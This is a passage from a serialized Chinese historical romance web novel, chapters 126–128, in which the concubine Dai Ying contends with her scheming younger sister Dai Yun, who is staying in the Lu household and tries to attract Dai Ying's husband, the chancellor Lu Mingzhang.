譬如戴缨,父亲会被她吸引,不正是因为她填补了他生命中缺失的无序和鲜活么。
若这个戴云是个有悟性、通透的,兴许能有大造化,不若她助她一把。
她在谢家过得不如意,闲时坐于窗下,眼睛总望着陆府的方向,她不愿认悔,以为眼下只是谢容不在身边,才使她焦郁。
这份焦郁中,她的脑中总能浮现戴缨的脸,她过得比她好,她成了陆府的主子,她得到了祖母和父亲的疼爱。
她抢走了原该属于她的一切,心底的不平渐渐化成嫉妒,再由嫉妒变成愤恨的不甘。
戴云不是憨蠢之人,听了陆婉儿的话便记到了心里。
接着陆婉儿又道:“姊妹情深,云儿和戴姨娘长久不见,心里必是想念的。”
“是呢,自上次长姐离开平谷,已有好长时月,此次来京也想同大姐聚一聚。”戴云说道。
陆婉儿微笑道:“既然来了,总要见到的,戴舅公已向陆府递帖了罢?”
“递了,今儿一早叫人递进去了。”
陆婉儿点头道:“待我父亲下值归家,见了帖,明日就该有消息了。”接下去又道,“不如这样,我陪你走一趟陆家,府里人口多,规矩也多,怕你认不过来,失了礼数,有我在你身边,也好给你引荐引荐。”
“自是再好不过,有嫂嫂陪着,云儿就不担心什么了,先前还怕应付不来呢。”戴云欢喜道。
陆婉儿将团扇遮住头顶的日光,声音轻悠悠:“不必担心,府里人都好,老夫人是个平和性子,我父亲也好,要不你长姐怎么留下来的呢。”
戴云稍稍低下眼,从陆婉儿的话里琢磨出点意思,心里暗忖,那位陆相虽说位高权重,却年有三十,也不知是个什么模样,可不管什么样子,和谢家表兄定是没法比的。
莫不是这位陆家千金察觉到她来京的目的,想将她支去陆府?当下不多说什么,嘴里应和着。
……
次日,陆婉儿引着戴云进了陆府,一路行去,入眼皆是大气派,连那地上的砖石都比别处高贵。
戴云随在陆婉儿身侧,路过的下人们见了陆婉儿,皆驻步施礼。
眼下再看,她的这位嫂嫂和昨日又不相同,昨日看着普通,今日一看,周身仿若镀了光。
心里滋冒出想法,高门显贵之家是顶顶养人的。
戴云把一切收入眼中,深深吸了一口气,嘴角噙笑,陆府的空气比谢家的嗅着更让她舒心。
终于,她们行到了上房的院子。
丫鬟打起门帘,二人进到屋内。
屋里坐满了人,见了来人,说笑声停了停,直到三房的姚氏笑道:“刚才还说你们来着,这就来了。”
陆婉儿携着戴云的手,走到堂上,先道了万福,打趣道:“祖母,您看看这位,同咱们家的戴姨娘比怎么样?哪个好?”
说着将戴云往前推了推。
今日客来,屋里热闹,陆老夫人欢喜,先往下看了一眼戴云,笑道:“我可看不清,上前来,叫我瞧瞧。”
陆婉儿携着戴云的手走到陆老夫人身侧。
陆老夫人拉着戴云在身侧坐下,又往她面上细细看了,再转头看向身边的戴缨,笑道:“好,好,都好,各有各的好。”
“姨娘不会嫌婉儿多事,把云儿带来罢?”陆婉儿看向戴缨说道。
戴缨笑道:“大姑娘不说这个还好,你既然说了,我倒还真要怪一怪。”
陆婉儿略有深意地问道:“这话怎么说呢?”
戴缨走到戴云身侧,两手搭着她的肩头,笑说道:“你们不知道,这丫头自小是个闹性,胡为惯了,我怕她进来失了礼数,今日特意起了个大早,带着人往我家那宅子去了,结果倒好,原来她已被人提前接走了。”
说着,戴缨看向陆婉儿,佯装道,“你说说看,叫我白跑一趟,我怪是不怪你?”
陆婉儿眼皮一跳,心道,这人可真是厚脸皮……分明就没去!叫她这么一说,显得她礼数多周全似的。
不待陆婉儿答话,戴缨对戴云关心道:“听说你同父亲昨儿就来了,怎么也不给我递句话进来?我心里还惦着呢。”
戴云身上一僵,陆老夫人因牵着她的手,感觉到了,笑道:“哟,这孩子,你姐姐问你话,怎么像怕似的。”
“老夫人不知道,她从小调皮,叫我打怕了。”戴缨说道。
众人一听,笑出声:“哪家都是这样,大的管小的,小的没有不怕的。”
这边欢声笑语,另一边却截然相反。
这是一间极大的书房,不用帷屏,以极宽的空间过道隔出不同的区。
戴万昌坐于高案茶几边,腰背挺得笔直,先是拉了拉衣领,然后转了转脖子,接着又理衣袖。
做好这一切,再转头看向书房的房门,见人还未至,于是又打量起整个屋室。
正在他打量间,闻得走廊传来脚步声,赶紧从座位站起,就见一人走了进来,上前深深作了一个揖,又要跪下,却被止住。
“戴家老爷快别行礼,我不是大人,大人才从外回来,正在偏房更衣,叫我来知会一声,你自在坐,随意些,他就来。”
戴万昌抬起头,看清来人,修长身量,很干净的眉眼。
这人他有印象,是陆相身边的亲随,当下不敢怠慢,说道:“劳管事的特来跑一
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趟,我静候便是。”
长安颔首道:“戴家老爷稍坐。”说罢,转身出了书房。
戴万昌也不坐了,就这么立在地上,把头上的四方帽扶了扶,再将双手合到身前。
接着,走廊再次响起脚步声,很稳,很静,白色绢纱窗映入人影,那人影朝房门走来,然后一个折转,进到屋内。
戴万昌趋步上前,不敢直视,撩开衣摆,就要跪下行礼,陆铭章略略抬手,出声道:“戴公不必多礼,坐罢。”
戴缨是陆铭章的侍妾,妾父不属姻亲,就像庶子母族不列于亲族一样。
再加上,戴万昌年纪不上四十,同陆铭章年纪相差不算大,陆铭章唤他一声戴公已是极给面子。
戴万昌哪敢就座,就那么站着,等到陆铭章坐下后,再次示意他入座,他方告了座。
侍人上前看茶,再退到一边,
“戴公昨日到京的?”陆铭章端起茶盏,轻撇浮沫,语气平淡。
戴万昌应声道:“是,昨日一到便想来府中拜望相公,只是晚了,又怕搅扰相公休息,便先呈递了帖子。”
陆铭章“嗯”了一声,问道:“此次来京可是为着家中营生?”
“营生倒在其次,主要是想念小女,特来京中看一看她。”
“她在府中安好,很知分寸,也得老夫人喜欢,你教养得不错。”陆铭章将手中茶盏放下。
戴万昌听了这话,心中欢喜,脸上露出宽慰,但身体依然紧绷。
陆铭章见他不自在,遂转开话头:“从平谷到京都,路途不近,一路还算太平?”
“回相公的话,托朝廷的福,一路走来还算太平。”戴万昌想了想又补说了一句,“来时,咱们平谷新任县令托我问相公好……”
不待戴万昌说完,陆铭章招手,让侍人上前续茶,戴万昌快速觑了一眼对面,不再提及此话。
“你远道而来,便在京都多盘桓几日。”陆铭章说道。
戴万昌连连应下,不敢再做打扰,起身相辞,陆铭章让他留下用饭,戴万昌哪敢应。
出了书房,陆家下人寻到戴万昌身边。
“可是戴家老爷?”
戴万昌谦恭道:“正是。”
“我们老夫人把戴家小娘子留下了,说是姊妹好不容易相聚,就住在府里了,你几时回乡,再来接人。”那下人说道。
戴万昌又是一番欢喜,这就是体面了,于是独自离开了陆府。
陆老夫人也是一片好意,想着亲姊妹许久不见,遂把戴云留下,也是全了戴缨的面子,毕竟是她的娘家人。
再一个,自家内部的矛盾,戴缨也不会叫旁人知道就是了,左不过打断胳膊往袖子里藏。
多半人皆如此,并不会对外说自家一星半点的不好,叫旁人知道了,当面同情,背地里只会说,你连自家人都处不好,还能和谁处得好?
就这么,戴云在离开京都前,客居于陆府,住于芸香阁,芸香阁同一方居毗邻。
而戴云居住于芸香阁却是陆婉儿特意挑选促成的……
第126章 偎进一片温热
戴云走进芸香阁的院子,四围看了看,又捉裙上阶,进了屋。
屋里陈设清雅,一应皆有,展眼望向对面的窗扇,满眼的绿意,屋后还有一方清湖。
她转身小跑出屋,朝外欢喜道:“阿姐,这院子可真好。”
说着趋步阶下,上前牵住戴缨的衣袖,“老夫人也好,我原以为是个不苟言笑,高高在上的老太太呢,没承想竟这样亲和,她一直拉着我的手。”
“姐姐你看见没有?”戴云望向戴缨,“你来时,她也这样好说话么?她也这样拉着你的手么?”
戴缨瞥了她一眼,说道:“你既然住进来,就放规矩些,从前那事我暂不同你计较,老夫人虽然好性,但这府里上上下下多少双眼看着。”
戴云认同地点了点头:“姐姐的意思,小妹明白,在这府里,咱们都姓戴,是自家人,不能叫旁人笑话了。”
“你清楚就好。”戴缨把胳膊从戴云手里抽出,理了理袖口。
“小妹就是脑子再笨,这个道理还是懂的,再说,咱们姊妹间不过是女儿家的小争执,能有什么。”
“你在这里住着,缺什么,少什么,只管跟下人说,或是遣人到一方居告诉我。”
戴缨说罢就要离开,戴云从后将她叫住:“阿姐留步。”说着停了停,继续道:“父亲想见你一见,有事同你说。”
戴缨冷笑,一声不言语地走了。
……
午时,戴缨侍候老夫人用过饭,从上房出来回了一方居,随意吃了些,起了春困,掩帐躺下了。
这一睡就有些睡不醒的架势,迷离间,感到身侧微微下陷,于是,很自然地往那处靠过去,不出意外地偎进一片温热里,鼻下萦绕着好闻的青木香。
“我还想再睡会儿……”戴缨将头埋在那一片温实的胸前,呢喃道。
“那就再睡会儿,我陪你。”
她“唔”了一声,又沉沉睡去,不知睡了多久,转醒睁开眼,看向身侧,空着,衾单是凉的,有些微褶皱。
于是缓缓撑起身,掣起床帐,往外看去,门窗上的光暗了下来,有些晚了,叫人进屋伺候起身。
归雁带着几个丫头进屋,服侍戴缨起身。
“老夫人那边上饭了没?”戴缨问道。
“没呢,还早。”
归雁替戴缨穿戴好衣物,主仆二人一齐去了上房,刚走到门帘处,就听到里面传来笑声。
于是走了进去,就见戴云伴在陆老夫人身侧,不知说了什么,引得老夫人又是一阵笑。
二房的何氏和三房的姚氏坐于堂间跟着凑趣。
姚氏见了戴缨,笑道:“比下去了,比下去了,小的这个更招人疼。”
戴缨面上带笑,走到陆老夫人跟前,见戴云将剥好的鲜果正要呈给老夫人,于是在她未反应过来时,不着痕迹地接到自己手里。
“瞧瞧,我一来,这丫头就只顾着跟我献殷勤,连果子都亲手剥好,老夫人和各位夫人行行好,把疼我的心都给了她罢,阿缨是无话可说的。”
一语毕,老夫人笑得一乐呵,指着戴缨对众人解说:“你们可别被缨丫头糊弄了,她是个再细心不过的,眼见快传饭了,瞧她妹子给我剥果子,怕我吃了凉的伤脾胃,待会儿用饭不免积食,这才故意寻个由头,从她妹子手里把鲜果抢了去。”
姚氏和何氏如何看不出,只道这戴缨年纪不大,一颗心不知长了多少个窟窿。
看似一番拈酸吃醋的玩笑,既体贴了老夫人的身子,又不让她妹子在众人面前丢面惹笑话。
在这陆府,她戴家人没脸,就是她没脸,势不叫旁人拿捏她一点错处。
正说笑着,下人们开始往房里摆饭,用饭期间,戴缨侍候在一侧,戴云为客,同陆溪儿几个小辈并坐。
戴云坐于桌边,一双眼先是看向戴缨,再观着陆溪儿的行止,开始用饭。
用**后,以香茶漱口,再净手,下人们撤了桌面,陆老夫人只留了戴缨和戴云在身边说话,叫其他人退去。
戴云觉着刚才饭前戴缨出尽了风头,这会儿就想着多讨得老夫人的欢心,遂极尽自己所知喋喋不停地说着话。
老夫人面目和缓地听着,不时笑着给予回应,戴缨则静静地立在一边,适时给老夫人续茶。
见老太太眼皮有些黏滞,正待招戴云一起退下,下人来传,大爷来了。
戴云一听,微微挺直腰背,把眼往前探望,就见一人从外间行来,一身鸦青色圆领长袍,腰系玉带,端得是萧萧肃肃,威仪明秀。
她不敢直视,慌得将目光低垂,心里欢动不止,心道,这人就是陆家家主了。
低垂的目光中,脚步声靠近,逼人心迫的气息压来,接着就听温肃的声音传来:“儿子来给母亲问安。”
陆老夫人笑着道了一声好。
陆铭章坐于老夫人的左手边,正是戴缨侍立的一侧。
“这是缨丫头的妹子,你还未见过。”陆老夫人说道,“来,云丫头,上前给大人见礼。”
戴云早已起身侍立,上前两步,款款欠下身,道了一声:“云儿见过姐夫。”
陆铭章一怔,觉着这个叫法有意思,遂抬眼去看,只见女子粉颈微垂,不过十五六岁的青春,敛下的眉眼同戴缨有几分相似。
不由得让他想起平谷替嫁一事,原定人选是这个小的,结果那孙氏在背后使手段,改换成戴缨。
他虽查明了,但鉴于当时她对他态度的客气和别扭,不好多管,毕竟是她自家事,听说后来戴万昌把那孙氏赶出了宅子。
“不必多礼。”陆铭章说道。
戴云依言起身,走到老夫人身侧,也不坐了,同戴缨一样,就那么安静地立着。
陆铭章想了想多说了一句:“住在这里不必拘着,有什么需要的,尽管开口,同老夫人说,或是同你姐姐说。”
戴云脸腮泛红,再次福身应是。
侍于陆铭章身侧的戴缨挑了挑眉梢,这话听着怎么这样耳熟,好像自己初来时,他也这般说过。
陆铭章陪着老夫人说了会儿话,便带着戴缨离开了,戴缨一走,戴云自是随在一起。
往回走时,陆铭章走在中间,戴缨行于
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他的左侧,戴云该行于戴缨一侧,却走到了陆铭章的身边。
戴云拿余光看了一眼身侧的这位相爷,提起一口气,说道:“姐夫,云儿住在芸香阁。”
陆铭章点了点头,以为是戴缨安排的,故而赞赏道:“这芸香阁同你的‘云’字同音,安排得妥帖。”
戴云掩嘴笑道:“芸香阁就在一方居隔壁,云儿去一方居找姐姐说话也方便,就怕姐夫会嫌烦。”
陆铭章没说别的,只说了句:“我不常在府里。”
戴云得了这话,知道这是默许了,走到一个岔路口,向陆铭章欠了欠身,又朝戴缨行了一礼,转身离去。
之后陆铭章同戴缨往一方居去,
回了一方居,戴缨沐过身后先躺下,他上榻时,她已侧身睡去。
他的一只臂膀环上她的腰肢,就要将手舒进她的衣底,却被挣开了。
“妾身今日身上不好,早些歇息罢。”
陆铭章以为她白日安置她妹子费心劳神,没说什么,遂不再相扰。
戴缨面朝里,睁着眼,脸上的表情并不好,越想越气,气得把被子一蹬。
陆铭章侧头看了她一眼,见她没了动静,闭眼准备睡去,结果眼睛刚闭上,那边又是一个大动静。
“怎么回事?”陆铭章蹙起眉头。
戴缨又安静了,陆铭章沉了一息,再次闭上眼,谁知戴缨爬起身,越过陆铭章,也不知有意还是无意,踩了他一脚。
陆铭章睁开眼,也不睡了,干脆起身,靠坐于床头,侧眼去看,见戴缨正在桌边倒茶吃。
等她上榻再次越过他,将她拉住,扯到怀里。
“你闹什么?”
戴缨回看向陆铭章,冷笑一声:“妾身乖乖的,可不敢闹。”
“你拿镜子看看,看看你现在的表情,还说不是闹?”
陆铭章话音刚落,戴缨就要下榻,又被他扯回:“又做什么去?”
“拿镜子。”
陆铭章叹道:“你可消停会儿。”
戴缨把脸别向一边不说话。
“你今天很有些不对劲,谁招惹你了?”陆铭章问道,“因着你父亲?”
见她不说话,陆铭章又道:“我见过他了,知道你父女间有嫌隙,也没叫你见他,且我这不也是为着抬举你?”
戴缨脸上的表情仍是不好,心里窝了气,揪不出头绪,一时间口不择言起来:“他来时,妾身就说了,不见,是大人自己要见,这会儿怎么又说为了抬举我?且妾身也没叫大人抬举。”
陆铭章一口气闷在胸里,他堂堂一品大员,平时手上事务冗杂,忙都忙不过来,特意抽出时间见一地方来的商贾,为得什么?
这丫头有点忒不知好歹,当下也不去哄了,撂开手,重新躺下睡去。
戴缨也躺下,背过身,闭眼睡去,就这么一夜无话,这一夜她并未睡好。
次日,天微微亮,他起身,她闭眼装睡,仍是面朝里侧着,这是头一次,她和他睡这么远。
陆铭章下了榻,在丫鬟的伺候下梳洗,穿戴好朝服,房门“吱呀”开启,再关上……
第127章 怎样才能哄好?
房门关上,屋里只有微弱淡蓝的天光,戴缨睁着双眼,目光穿过轻纱帐,然后收回,再转到帐顶。
她在恼什么?
陆铭章大可不必见戴万昌,妾之母族不属姻亲,他见他一面,是为给她面。
不对,不是这个,她的烦杂不是因这个,她从一团乱麻中揪出了头绪,与其说她在烦闷,不如说是心里起了危机。
这个危机来自陆铭章对戴云的和颜悦色。
她从榻间起身,归雁带人进来伺候。
从来在妆台前梳妆时,戴缨都不曾认真注意过镜中的自己,由着归雁替她妆扮。
这丫头有一双巧手,也知道自己的喜好,不论是衣裳、妆面又或是头饰,很符她的心意。
然而此刻,她将全部的注意放在了镜中人上。
镜中女子有一对翠弯弯的眉,一双澄澈的眼,即便不做表情,也嵌着一点点笑意,清透的雪肌仿佛让镜子都添了光色。
这样一张面庞无疑是好看的,然而,女子却轻轻颦起眉头。
“雁儿,我是不是又长了一岁?”
归雁手上替戴缨绾着长发,嘴里说着:“若按虚岁算,是有二十了。”
戴缨轻叹一息,拿手抚上自己的脸,转过身,看向归雁,郑重其事地问道:“我和云姐儿比,谁……好看?”
归雁怔了怔,不知自家娘子怎的问这个话,不过她没多想,很快给出了回答。
“自然是娘子更好看。”
戴缨一听这话,就要露出笑来,结果归雁又补了一句:“在婢子心里,娘子是全天下最好看的人。”
戴缨刚翘起的嘴角回落下,这丫头的话不能作数,正在此时,院子里传来轻声笑语。
“我姐姐呢?”
接着是七月的声音:“姨娘在屋里梳妆呢。”
轻快的脚步声响过来,进到屋里,戴缨侧头去看。
少女鬓发微湿,像花枝蔓藤贴于腮边,鬟髻沾着晨露,皮肤淹润水透,衣着单薄,携着露水和青草香。
“阿姐快些罢,一会儿给老夫人请安要晚了。”
戴缨收回眼,没说什么,穿戴好后,姊妹二人去了上房。
陪着陆老夫人用**后,老夫人念她姊妹重聚,不用她二人在身边侍候。
戴缨遂引着戴云于后园闲步,晨间的阳光很轻薄,空气带着些微湿意。
戴云用余光快速看了戴缨一眼,再假作去观看周边的花花草草。
“有话说?”戴缨问道。
戴云捉裙快走两步,横到戴缨对面,再向她正正地欠下身:“小妹在这里给姐姐认真赔不是。”
戴缨嘴角勾起一抹轻讽:“好好的,这又是唱哪出?”说着绕过她,往前走去。
戴云从后跟上:“先前小衙内之事,小妹也是不得已,是姨娘出的……”
“行了,此事不要再提。”
她不想提这些乌糟事,只想戴万昌快些离京,把人带走,纵使心里烦透了她这个妹妹,在陆家人面前还得做出亲近和睦样。
戴云闭了嘴,不再多说什么,正巧此时,前面拐来一人,笑着走上前,先是看向戴云,接着看向戴缨。
相互间见了礼。
“怎么这样巧。”戴缨问道。
陆溪儿笑道:“哪里巧,专门进园子寻你。”接着又道,“我想云姐儿来了,引去我那里坐坐。”
接着,三人去了陆溪儿的院子,因天气晴和,便在院子的小亭里坐着闲话。
陆溪儿和戴云年岁相当,她二人戚戚喳喳说着,戴缨在一边静听,其时也没在听,神思早飞走了,直到陆溪儿叫她,她才回转过来。
“在想什么,叫了你三声都不应。”
戴缨笑道:“没什么,你们说你们的,还来管我。”
戴云掩嘴笑道:“我阿姐这是想姐夫了。”
陆溪儿先是一怔,跟着笑出声。
戴缨面上绯红,斜睨了戴云一眼:“说得什么话。”
“好,好,不说了。”戴云仿若才知失言,只是那嘴角仍噙着似有如无的笑。
三人又说了些话,戴缨借口身上不适,起身离开,戴云也跟着离开,两人共走了一程,到岔路口各回自己的院落。
陆铭章回来时,正值午后,院子里静着,问了下人才知,戴缨先去了上房,接着又带她小妹往后园去转了转。
回来后,饭也没吃就躺下了,让人不扰她。
陆铭章心道,这丫头气性也太大,估摸还为着昨夜的事,因为她,搅得他一上午心神不宁,刚至午时便离了枢密院,往回来。
“可要婢子准备些饭食?”七月问道,既然家主回了,就算姨娘胃口不好,多少也会吃些。
“不用准备饭食。”
陆铭章上了台阶,推开房门进到屋里,阳光被窗格剪成碎金片映于地面,外间的光线充足。
落地罩后的里间,光线稍暗,却也明目,地砖浮漾着光影,像是波纹下的细金沙。
他走了进去,看向榻上侧卧之人。
衣衫松散,只用一条薄衾悬悬地搭着肚,两条白生生的腿袒在外面,宽大的裤腿褪到膝弯。
陆铭章坐于榻沿,提起被角给她盖好:“这是还恼着?”
他知道她没睡去,她的睡眠很浅,有一点动静就会惊醒。
戴缨闭着眼不说话,接着耳边拂来一股温热的气息。
“他们说你中午未用饭,肚子不饿?”
戴缨“唔”了一声。
陆铭章笑道:“这个‘唔’字是饿还是不饿?”
说着便隔着衣衫抚上她的小腹,戴缨怕痒,忍不住笑出声,躲开了,然后坐起身。
“我若说还恼,大人待怎样?”戴缨问道。
“从前可是说过,你若恼了,得告诉我怎样才能将你哄好?”陆铭章说道。
戴缨乜斜着眼,微微抬起下巴:“妾身说过了,只是大人不记得。”
陆铭章想了想,站起身,拂了拂衣袖,双手环于身前,就要揖拜,戴缨唬得从床上跳起,连鞋也来不及穿,近到他跟前。
“受不起,受不起……”
陆铭章笑道:“当真不受?”
戴缨连连摆手:“不受,不受……”
“可还恼?”陆铭章又问。
戴缨扑哧笑出声:“不恼了。”
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>“我叫人进来伺候你起身。”陆铭章说着朝外吩咐了一声,把她牵到榻边坐下。
归雁带人进来,手脚麻利地替戴缨理好衣衫,再引她于妆台前,给她绾了一个简单利落的发髻。
陆铭章走到她的身后,往她乌亮的发间簪上一物。
戴缨透过镜子看去,云发间多了一支簪子,那簪子通体莹白如雪,在乌黑的发间像一朵待开的茉莉花,将周围的发丝都盈上馨香。
她抬手轻轻抚过,这簪子……
陆铭章的声音自头顶传来:“物归原主,你戴着它,好看。”
说罢,见镜中人展露笑颜,吁出一口气,总算是笑了。
戴缨见陆铭章朝外吩咐备车,疑惑道:“大人还要出门?”
“带你出去走一趟。”
戴缨指了指自己:“妾身也随同?”
陆铭章颔首道:“自是带你一起。”
两人出了府门,上了马车,走了一程,马车停下。
下人们搬来踩凳,陆铭章下了马车,戴缨随后在丫鬟的搀扶中下了车,抬头去看。
福兴楼。
一进楼子,店伙计和掌柜的迎了上来,知道这位大人上二楼,赶紧在前殷勤引路。
行动间发现,陆相公身侧还跟了一女子,店伙计眼珠子活泛,把头偏着,借着余光去看,发现那女子身形有些眼熟,心下更加好奇,把头再偏一偏,看清了。
怔在那里,不能动弹。
掌柜的在他胳膊上一拧,店伙计回过神,只是等他回过神时,掌柜的已将人引至楼上。
待掌柜的下楼,几步上前,不由分说地一脚剜在他屁股上。
“你发什么愣!”
店伙计揉着屁股,讷讷道:“掌柜的看见没有,随在那位大人身边的女子?”
掌柜的似有所感,叹一声:“那会儿我就说,这位戴小娘子了不得,以后得当菩萨供起来。”
“这……这是怎么一回事啊?”店伙计问道。
“你还看不出来?”
店伙计像是明白,却又觉着太过匪夷所思:“小的分明记着,那日戴小娘子想见那位大人一面都不易,在楼下候了好久。”
当时他收了她的银钱上楼递话,为着这事,挨了掌柜的一通好骂。
正在店伙计思索间,掌柜的开口道:“结果呢,你不仅把话带到,那戴小娘子还真就上去了,事后,你我皆无事,这是普通人能有的待遇?可明白了?”
店伙计了然,原来那会儿就不同了。
戴缨随陆铭章上到二楼,坐于二楼的平台处。
“大人怎么想着把我带到这里来?”戴缨笑道。
“你中午没用饭,就想着带你到这楼里坐一坐,给你解闷,再填填肚子。”
两人闲适地说着话,没一会儿,饭菜摆上桌。
戴缨不止一次在福兴楼用餐,这家酒楼并不大,同京都正街的几大酒楼的生意不能比。
她吃遍整个京都酒楼,唯有此处的饭食最为精细卫生,且合她的胃口。
陆铭章替她斟了小半盏清酒,见她侧着身,不知在看什么,遂顺着她的视线看去……
第128章 可愿将阿缨扶正?
一楼靠窗的桌面对坐了两人,戴缨从二楼平台往下看去,窗下的桌面摆了酒菜,可观得桌边人一面谈笑,一面拈筷夹菜。
“看什么?”陆铭章循着她的目光看去。
戴缨回头笑道:“那会儿大人是不是也这样看我?”
陆铭章笑而不语。
戴缨不依,又问:“有没有偷看?”
“瞧不见脸,只听见声。”陆铭章端起茶盏放到嘴边,无心地呷了一口,打算让这个话题晃过去。
可戴缨揪着不放,自说自话道:“一定是偷看了的,不然怎么那样巧,我一出铺子,大人就下了楼,还刚刚好地立在我旁边,非要过来现眼似的。”
陆铭章一口茶呛到喉管,捂嘴咳起来。
戴缨走到他身边,轻轻抚拍他的胸口,陆铭章就势捉住她的手,戏谑道:“别只顾拍,再揉一揉……”
戴缨脸上一红,甩开手,坐回自己座位。
他二人从二楼看着一楼的食客,却不知自己的言行也被他人看了去。
白天的丽春院是安静的,苏小小凭着窗栏,望着对面,那人已有好长时间不去福兴楼。
她记着他从前隔三岔五就会去一次,一坐就是小半日,不知从哪日起,那一方平台,再也见不到他的身影。
就算见不到人,她仍呆呆地倚于窗边,生怕哪一日,哪一时,他去了,她错过。
就在她准备转身时,对面二楼平台处有了人影晃动,接着,是店掌柜出现,亲自将桌椅摆放好。
店掌柜殷勤的态度叫她的心开始跳动,双眼盯着对面,不敢转移半分。
早已刻在脑海中的身影走了出来,苏小小一手撑着窗栏,身体微微往前倾,心跳不再受控。
他来了,终是来了……只要他来,她便要在窗前立许久。
她嘴角带笑,将窗扇开得大大的,以便看得更多,以便他能看到她,哪怕轻轻一瞥也好。
然而,她看到了什么,他的身后走出一女子,那女子一身碧色春衫,娉娉婷婷地立在他的身侧。
两人对坐后,他亲自替她斟酒,不知那女子说了什么,引得他笑出声。
原来,这世间真有一人,能引得他展露笑颜。
苏小小很想看清那女子长什么模样,就在她侧头的一瞬,看清了那女子的正面,接着,整个人钉在那里,这女子她认识,正是找过自己的绸缎庄女东家。
那女子款款走到他的身侧,他握住她的手,苏小小不知心里是什么滋味。
难怪,难怪……难怪她能请动他,而他更是包下了整层襄楼,选了最佳的位置。
她精心的演艺不过是他为讨可意人的欢心,献出来的乐子。
……
戴缨同陆铭章从福兴楼离开时,天已有些暗了。
二人回了府,还未走到一方居的月洞门,就闻得院子里传来笑闹声。
随着他们脚步靠近,看清了院内的情形,几个小丫头半蹲在地上,你挤着我,我挨着你,围在一处不知做什么。
全没发现戴缨和陆铭章回。
戴缨心里纳罕,平日有七月管着,一方居的丫头小厮们都很规矩,不敢由着性子嬉闹。
再探眼一看,才发现几个小丫头中围着一人,不是戴云却又是谁,不知正在做什么。
七月见他二人回了,赶紧上前,面上似有为难之意,因着戴云,不好当面管教丫头们。
院里的小丫头们见家主回,再不敢嬉闹,忙起身候到一侧垂手侍立。
戴缨蹙起眉头,正待开口问询,戴云却起身径直走到陆铭章身侧。
“姐夫,你看这个。”
陆铭章低眼看去,就见戴云怀里兜了一个白绒绒的物儿。
戴云将臂膀端起,让怀里的小东西露出样子:“我新得的小兔,多漂亮。”
陆铭章点了点头,就要抬脚进屋,谁知戴云又道:“姐夫你不摸一摸它,这小东西的**可软和。”
陆铭章听她一口一个姐夫叫得亲切,倒没伸手去抚那兔儿,礼貌性地多问了一句:“可用过晚饭了?”
戴云摇头道:“没呢,一直在这儿等姐姐和姐夫。”
陆铭章便叫下人们上些饭,让她姊妹二人闲话家常,自己去了前面的书房。
饭菜摆上桌,戴云一面细细咽着菜,一面问戴缨:“姐姐同姐夫去哪儿了?叫我好等。”
戴缨不再流于表面的姐妹情深,开门见山地问道:“你想干什么?”
“姐姐说什么呢?”
戴缨的面色彻底冷下来:“我说什么你不清楚?就你那龌龊的心思,我隔着八丈远都能闻着味。”
戴云放下碗筷,收起天真的神情,拿帕拭了拭嘴,说道:“既然姐姐心里清楚,还问?”
“姐姐也不想想,你在这高门深府总得有个自己人帮衬不是?现在只你一人,虽是专宠,可日后呢,陆家家主总不会只你一人,届时你上头还有正头娘子压着。”
戴缨冷笑:“照你这么说,我还得替你促成此事了?”
“姐姐若能助小妹一臂之力自是再好不过,再怎么说,你我才是一家人。”
“在平谷时我记得你说……心仪谢家表兄,说得那般情深意切,怎么这会儿又移心了?”戴缨看着戴云的眼,问道。
戴云起身,走到戴缨身后,将双手搭在她的肩上,俯下腰:“谢家表兄自然也是好的,只是嘛……小妹更喜欢同阿姐争抢……”
说罢,声音压得更低:“阿姐有的,我也要有,不仅要有,还要明目张胆地从你手上抢来,你我二人从来不都如此么?”
戴云原以为说完这话,她这个大姐会气恼,谁知她听后不仅不气,反将手轻轻地覆在她的手背,亲昵地带她坐到身前。
“是了,你我二人从来如此,在父亲面前争好看的衣裳,争好看的首饰……还有争父亲的疼爱,只不过……”戴缨将尾音拉长,短促地嗤笑一声,“你从未赢过我,这一次……也一样。”
戴云搁于腿上的指尖猛地一颤,扯出一抹生硬的笑:“是么?”
戴缨笑出了声,两眼添上光彩,说道:“不是么?那咱们来试试。”
戴云怎甘心服输,自打她记事起,戴缨就处处压她一头,她二人并行,不知道的还以为她是她的跟班丫头。
还有,每每别人夸阿姐,父亲都乐呵呵,偶有人连带着夸一夸她,父亲总能再扯到阿姐头
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上。
她就不服,就是要比,只要阿姐有的,她也要有,不仅要有,还要从她手里抢,方能显出她的厉害。
戴云站起身,挑衅道:“这可是你说的,别到时候我把陆家大爷抢到手,阿姐又跑来怨我。”
戴缨也跟着站起,扬起下巴,目光低睨,道出三个字。
“你试试。”
……
陆铭章回一方居时,外间的灯已熄了,只有里间亮着微弱的光,七月叫丫鬟进来,重新将外间的灯烛亮起,再备热水。
待他沐身毕走到里间,发现她并未睡去,而是靠坐于床头,手里拿着一册话本。
“看的什么?”
陆铭章刚准备靠过去瞅一眼,谁知戴缨把书快速一合,掩于身后,笑道:“可不能叫大人看。”
“这是为何?”陆铭章来了兴致,
“因为……这是一本专教精怪吸食男子精血的邪书。”
陆铭章笑着摇了摇头。
戴缨跪坐于陆铭章身侧,双手放到他的肩头,矮下身,偎贴于他的胸口,轻声道:“阿缨想问大人一个问题。”
陆铭章“嗯”了一声。
“大人喜欢鹿儿还是喜欢兔儿?”戴缨问完仍是保持着那个姿势,伏在陆铭章的胸前一动不动。
陆铭章先是呆了呆,立马反应过来她话里的意思,就要拉她问话,谁知戴缨犟着,紧紧贴在他的胸口就是不抬头。
“大人快说。”戴缨催促道。
陆铭章无法,忍着笑意道:“鹿肉好,味美,肉丰……”
戴缨噌地抬起头,嗔道:“你好好说,我问正经的。”说罢又将脸贴于他的胸口。
他算是看明白了,这丫头根本不是在投怀送抱,而是在听他的心跳,以此来辨别他回话的真假,一时间又好气又好笑。
“我也说正经的,字字是真。”陆铭章停了停,故意逗她,“喜欢鹿肉。”
戴缨收起耳朵,再次坐起,在陆铭章面上看了一眼,不再说话,背过身躺下,闭上眼。
这还是头一次,他见她露出这种情态。
“原来根儿在这里。”陆铭章恍然道。
戴缨转过头:“什么?”
“我就说这两日你不对劲,这会儿叫我知道了。”
戴缨并不否认,欠起身:“依我看,大人更喜欢兔儿。”
“何以见得?”
戴缨见他那松怔闲适的样子,不再拐弯抹角:“我见大人似是很喜欢‘姐夫’二字,人一叫,回应的倒及时。”
陆铭章点了点:“是喜欢。”
“你……”
不待她继续说,陆铭章挨近身:“我是因着你,才喜欢听那两个字。”
戴缨一怔,不信他的话:“大人还说自己不会哄人,这不是哄人是什么?”
“怎么是哄人呢。”
“真不是哄人?”戴缨反问道。
